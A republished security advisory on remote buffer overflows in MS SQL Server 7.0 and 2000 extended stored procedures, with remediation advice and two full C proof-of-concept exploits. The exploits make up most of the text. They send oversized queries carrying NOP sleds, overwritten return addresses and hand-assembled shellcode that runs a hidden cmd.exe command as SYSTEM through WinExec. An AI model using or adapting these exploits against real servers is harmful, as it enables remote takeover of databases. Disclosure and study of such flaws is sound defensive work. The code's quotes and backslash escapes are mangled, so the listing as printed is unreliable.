‘Microsoft SQL Server extended stored procedure vulnerability (technical explanation and exploit code)’

Summary

‘Microsoft’s database server, known as SQL Server, contains several buffer overruns vulnerabilities that can be exploited remotely to execute arbitrary computer code on the affected system, thus allowing an attacker to gain complete control of the server. In situations where the SQL Server is protected by a firewall, it may still be possible to launch this attack through a connecting web server – though this depends on how secure the web server’s application is.

The vulnerability itself lies in the fact that SQL Server provides a mechanism by which a database query can result in a call into a function called an ‘extended stored procedure’. Several extended stored procedures supplied with MS SQL Server (7.0 and 2000) are vulnerable to buffer overflow attacks. Furthermore, in a default configuration any user can execute these extended stored procedures.

We already reported about this vulnerability, and the way to patch SQL Server against it. See more information: Extended Stored Procedure Parameter Parsing vulnerability.’

Credit:

‘The information has been provided by @stake Advisories.’


Details

Vulnerable systems:
MS SQL Server 7.0 – all service packs
MS SQL Server 2000

Extended stored procedures can be called by any client component that can issue a normal SQL Server query, such as Microsoft Access, or MSQuery. The ISQL utility, which is supplied with SQL Server, can also be used to call extended stored procedures. Web applications running on Internet Information Server frequently use the ActiveX Data Objects (ADO) API to connect to SQL Server databases.

The syntax for calling extended stored procedures is as follows:

exec <stored procedure name> <arg1>, <arg2>, …

For example, the following query will return a directory tree of the ‘c:winnt’ directory:

exec xp_dirtree ‘c:winnt’

By passing extremely long strings for various parameters, it is possible to overrun the buffer space allocated for these parameters and execute arbitrary code.

The following extended stored procedures are vulnerable:
xp_peekqueue (xpqueue.dll), and xp_printstatements (xprepl.dll)
An overly long string passed for the first parameter will cause an access violation and overwrite the exception handler’s saved return address.

xp_proxiedmetadata (xprepl.dll)
Takes four parameters. An overly long string for the second will cause an access violation and overwrite the exception handler’s saved return address.

xp_SetSQLSecurity (xpstar.dll)
Takes four parameters. An overly long string passed for the third parameter will cause an exception that results in the immediate termination of the entire SQL Server process.

xp_displayparamstmt, xp_enumresultset, xp_showcolv and xp_updatecolvbm (xprepl.dll):
Each stored procedure contains a string buffer that can be overflowed, causing the DLL to execute arbitrary code under the SYSTEM security context.

Recommendation:

Prevent PUBLIC execute access to these extended stored procedures unless you need it.

Install the vendor supplied patch.

Proof of Concept:
Exploit 1:
// SQL2KOverflow.c
// This code creates a file called ‘SQL2KOverflow.txt’ in the root of the
// c: drive.

#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>

int Syntax()
{
  printf( ‘Syntax error. Correct syntax is:nSQL2KOverflow
<hostname> <username> <password>’);
  return 1;
}

int main(int argc, char *argv[])
{
  char szBuffer[1025];
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLRETURN nResult;
  SQLHANDLE henv;
  HSTMT hstmt;
  SCHAR InConnectionString[1025] = ‘DRIVER={SQL Server};SERVER=’;
  UCHAR query[20000] = ‘exec xp_proxiedmetadata ‘a’, ”;
  int count;

  if ( argc != 4 )
  {
    return Syntax();
  }

  if ( ( strlen( argv[1] ) > 250 ) ||
    ( strlen( argv[2] ) > 250 ) ||
    ( strlen( argv[3] ) > 250 ) )
    return Syntax();

  strcat( InConnectionString, argv[1] );
  strcat( InConnectionString, ‘;UID=’ );
  strcat( InConnectionString, argv[2] );
  strcat( InConnectionString, ‘;PWD=’ );
  strcat( InConnectionString, argv[3] );
  strcat( InConnectionString, ‘;DATABASE=master’ );

  for ( count = 30; count < 2598; count++ )
    query[count] = (char)0x90;
  
  query[count] = 0;

  // 0x77782548 = wx%H = this works sp0
  strcat( query, ‘x48x25x78x77’ );
  
  strcat( query,
‘x90x90x90x90x90x33xC0Ph.txthflowhOverhQL2khc:\STYPP@PHPPPQxB8x8D+xE9x77xFFxD0x33xC0PxB8xCFx06xE9x77xFFxD0’
);
  
  strcat( query, ”, ‘a’, ‘a” );

  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
    {
      printf(‘Error SQLAllocHandle’);
      return 0;

    }

  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
    {
      printf(‘Error SQLSetEnvAttr’);
      return 0;

    }

  if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
    {
      printf(‘SQLAllocHandle – 2’);
      return 0;
      
    }

  nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer, 1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
  if(( nResult == SQL_SUCCESS ) | ( nResult ==
SQL_SUCCESS_WITH_INFO) )
    {

      printf(‘Connected to MASTER database…nn’);
      SQLAllocStmt(hdbc,&hstmt);
    }

  if(SQLExecDirect(hstmt,query,SQL_NTS) ==SQL_SUCCESS)
    {
      printf(‘nSQL Query error’);

      return 0;

    }
  printf(‘Buffer sent…’);
  

return 0;
}

Exploit 2:
#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>

int main(int argc, char *argv[])
{
  char szBuffer[1025]; //display successful connection info on
                              //hdbc(s) combo-box
  SWORD swStrLen; //String length
  SQLHDBC hdbc; //hdbc
  SQLRETURN nResult;
  SQLHANDLE henv;
  HSTMT hstmt;
  SCHAR InConnectionString[1025] = ‘DRIVER={SQL Server};SERVER=’;
  SCHAR server[100]=”;
  SCHAR uid[32]=’;UID=’;
  SCHAR pwd[32]=’;PWD=’;
  SCHAR *db=’;DATABASE=master’;

  UCHAR query[20000] = ‘exec xp_displayparamstmt ”;
  unsigned char ch=0x01;

  int count = 27, var =0, result = 0, chk =0;
  
  if(argc !=4)
  {
    printf(‘USAGE:t%s host uid pwdnDavid Litchfield 9th November 2000n’,argv[0]);
    return 0;
  }

  strncpy(server,argv[1],96);
  strncat(uid,argv[2],28);
  strncat(pwd,argv[3],28);

  strncat(InConnectionString,server,96);
  strncat(InConnectionString,uid,28);
  strncat(InConnectionString,pwd,28);
  strcat(InConnectionString,db);

  while(count < 12083)
  {
      query[count]=0x90;
      count++;
  }

  // jmp eax
  query[count++]=0xFF;
  query[count++]=0xE0;
  
  // nops
  query[count++]=0x90;
  query[count++]=0x90;

  // overwrite saved return address
  query[count++]=0xAE;
  query[count++]=0x20;
  query[count++]=0xA6;
  query[count++]=0x41;

  // code starts in ernest

  query[count++]=0x90;
  // mov edx,eax
  query[count++]=0x8B;
  query[count++]=0xD0;

  // add edx,0x52 <- points to our string table
  query[count++]=0x83;
  query[count++]=0xC2;
  query[count++]=0x52;

  // push ebp
  query[count++]=0x55;

  // mov ebp,esp
  query[count++]=0x8B;
  query[count++]=0xEC;

  // mov edi,0x41A68014
  query[count++]=0xBF;
  query[count++]=0x14;
  query[count++]=0x80;
  query[count++]=0xA6;
  query[count++]=0x41;

  //mov esi,0x41A68040
  query[count++]=0xBE;
  query[count++]=0x40;
  query[count++]=0x80;
  query[count++]=0xA6;
  query[count++]=0x41;

  // mov ecx, 0xFFFFFFFF
  query[count++]=0xB9;
  query[count++]=0xFF;
  query[count++]=0xFF;
  query[count++]=0xFF;
  query[count++]=0xFF;

   

  // sub ecx, 0xFFFFFFB3
  query[count++]=0x83;
  query[count++]=0xE9;
  query[count++]=0xB3;

  // here:

  // sub dword ptr[edx],1
  query[count++]=0x83;
  query[count++]=0x2A;
  query[count++]=0x01;

  // add edx,1
  query[count++]=0x83;
  query[count++]=0xC2;
  query[count++]=0x01;

  // sub ecx,1
  query[count++]=0x83;
  query[count++]=0xE9;
  query[count++]=0x01;

  // test ecx,ecx
  query[count++]=0x85;
  query[count++]=0xC9;

  // jne here
  query[count++]=0x75;
  query[count++]=0xF3;

  // sub edx, 0x48
  query[count++]=0x83;
  query[count++]=0xEA;
  query[count++]=0x48;

  // push edx <- calling LoadLibrary will mess edx so save it on stack
  // Even though we’re about to push edx as an arg to LoadLibrary
  // we have to push it twice as LoadLibrary will remove one of them
  // from the stack – once the call has returned pop it back into edx

  query[count++]=0x52;

  // LoadLibrary(‘kernel32.dll’);
  // push edx
  query[count++]=0x52;

  // call [edi]
  query[count++]=0xFF;
  query[count++]=0x17;

  
  // pop edx
  query[count++]=0x5A;

  // On return LoadLibrary has placed a handle in EAX
  // save this on this stack for later use
  // push eax
  query[count++]=0x50;

  // GetProcAddress(HND,’WinExec’);
  // add edx, 0x10
  query[count++]=0x83;
  query[count++]=0xC2;
  query[count++]=0x10;

  // push edx
  // need to save this again – pop it when GetProcAddress returns

  query[count++]=0x52;

  //push edx
  query[count++]=0x52;

  // push eax
  query[count++]=0x50;

  // call [esi]
  query[count++]=0xFF;
  query[count++]=0x16;

  // pop edx
  query[count++]=0x5A;

  // WinExec(‘cmd.exe /c…..’,SW_HIDE);
  // add edx, 0x08
  query[count++]=0x83;
  query[count++]=0xC2;
  query[count++]=0x08;

  // push edx
  query[count++]=0x52; // <- save edx

  // xor ebx,ebx
  query[count++]=0x33;
  query[count++]=0xDB;

  // push ebx
  query[count++]=0x53;

  // push edx
  query[count++]=0x52;

  // call eax
  query[count++]=0xFF;
  query[count++]=0xD0;

  // With the shell spawned code now calls ExitProcess()

  //pop edx
  query[count++]=0x5A;

  
  // pop eax <- This is saved handle to kernel32.dll
  query[count++]=0x58;

  // GetProcAddress(HND,’ExitProcess’);
  // add edx,0x24
  query[count++]=0x83;
  query[count++]=0xC2;
  query[count++]=0x24;

  // push edx
  query[count++]=0x52;

  // push eax
  query[count++]=0x50;

  // call [esi]
  query[count++]=0xFF;
  query[count++]=0x16;

  // call ExitProcess(0);
  // xor ebx,ebx
  query[count++]=0x33;
  query[count++]=0xDB;

  // push ebx
  query[count++]=0x53;

  // call eax
  query[count++]=0xFF;
  query[count++]=0xD0;

  // Here are our strings
  // kernel32.dll, WinExec, cmd.exe /c … , ExitProcess
  // 1 has been added to each character to ‘hide’ the nulls
  // the loop will sub 1 from each char

  query[count++]=0x01;
  query[count++]=0x01;
  query[count++]=0x01;
  query[count++]=0x01;
  query[count++]=0x6c;
  query[count++]=0x66;
  query[count++]=0x73;
  query[count++]=0x6f;
  query[count++]=0x66;
  query[count++]=0x6d;
  query[count++]=0x34;
  query[count++]=0x33;
  query[count++]=0x2f;
  query[count++]=0x65;
  query[count++]=0x6d;
  query[count++]=0x6d;
  query[count++]=0x01;
  query[count++]=0x01;
  query[count++]=0x01;
  query[count++]=0x01;
  query[count++]=0x58;
  query[count++]=0x6a;
  query[count++]=0x6f;
  query[count++]=0x46;
  query[count++]=0x79;
  query[count++]=0x66;
  query[count++]=0x64;
  query[count++]=0x01;
  query[count++]=0x64;
  query[count++]=0x6e;
  query[count++]=0x65;
  query[count++]=0x2f;
  query[count++]=0x66;
  query[count++]=0x79;
  query[count++]=0x66;
  query[count++]=0x21;
  query[count++]=0x30;
  query[count++]=0x64;
  query[count++]=0x21;
  query[count++]=0x65;
  query[count++]=0x6a;
  query[count++]=0x73;
  query[count++]=0x21;
  query[count++]=0x3f;
  query[count++]=0x21;
  query[count++]=0x64;
  query[count++]=0x3b;
  query[count++]=0x5d;
  query[count++]=0x74;
  query[count++]=0x72;
  query[count++]=0x6d;
  query[count++]=0x70;
  query[count++]=0x77;
  query[count++]=0x66;
  query[count++]=0x73;
  query[count++]=0x73;
  query[count++]=0x76;
  query[count++]=0x6f;
  query[count++]=0x2f;
  query[count++]=0x75;
  query[count++]=0x79;
  query[count++]=0x75;
  query[count++]=0x01;
  query[count++]=0x01;
  query[count++]=0x46;
  query[count++]=0x79;
  query[count++]=0x6a;
  query[count++]=0x75;
  query[count++]=0x51;
  query[count++]=0x73;
  query[count++]=0x70;
  query[count++]=0x64;
  query[count++]=0x66;
  query[count++]=0x74;
  query[count++]=0x74;
  query[count++]=0x01;

  strcat(query,”,2,3′);

  
  
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
    {
      printf(‘Error SQLAllocHandle’);
      return 0;

    }

  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
    {
      printf(‘Error SQLSetEnvAttr’);
      return 0;

    }

  if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
    {
      printf(‘SQLAllocHandle – 2’);
      return 0;
      
    }

  nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer, 1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
  if(nResult == SQL_SUCCESS | nResult == SQL_SUCCESS_WITH_INFO)
    {

      printf(‘Connected to MASTER database…nn’);
      SQLAllocStmt(hdbc,&hstmt);
    }

  else
  {
    printf(‘Couldn’t connect.n’);
    return 0;
  }

  if(SQLExecDirect(hstmt,query,SQL_NTS) !=SQL_SUCCESS)
    {
      printf(‘nBuffer has been sent…c:\sqloverrun.txt should now exist.’);

      return 0;

    }
  printf(‘Buffer sent…’);
  

return 0;
}’

Categories: Windows